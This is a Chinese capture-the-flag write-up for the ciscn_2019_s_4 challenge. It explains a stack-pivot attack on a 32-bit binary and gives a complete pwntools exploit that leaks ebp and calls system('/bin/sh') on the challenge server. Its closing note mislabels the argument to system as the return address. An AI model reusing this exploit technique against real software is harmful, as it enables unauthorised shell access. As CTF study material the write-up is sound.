ciscn_2019_s_4
惯例先checksec一下
开启了NX保护的32位程序 放进ida里看看
main函数里没什么信息 进vul函数看看
有两个read函数 但是溢出长度尽到ebp 考虑栈迁移
shift+F12调出字符串表 发现system但没找到/bin/sh 由于函数使用过system函数 所以直接找到plt地址为0x8048400
利用ROPgadget找到leave ret的地址为0x080484b8
动态调试找到偏移量为0x38
利用栈迁移 成功获取到flag
exp:
from pwn import *
io=remote('node4.buuoj.cn',29721)
sys_addr=0x8048400
leave=0x080484b8
payload='a'*0x24+'bbbb'
io.recvuntil('name?')
io.send(payload)
io.recvuntil('bbbb')
ebp=u32(io.recv(4))
print(hex(ebp))
buf=ebp-0x38
payload=(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf-4)+p32(leave)
io.send(payload)
io.interactive()
- 第二个payload中的’aaaa’为fake ebp,system函数的返回地址为“p32(buf+12)”(即/bin/sh\x00在栈上的地址)
- /bin/sh后一定要加上\x00